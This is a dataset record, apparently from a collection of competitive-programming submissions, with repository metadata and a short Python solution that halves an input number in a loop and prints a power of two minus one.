8de58e05650b8fbf1174f6077c873c40a7c31650 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02786/s372106911.py | 8a940c6ed8583cff7a6cd36516561dbf9608fecd | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 76 | py | h = int(input())
ans = 1
while h > 0:
h //= 2
ans *= 2
print(ans-1) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.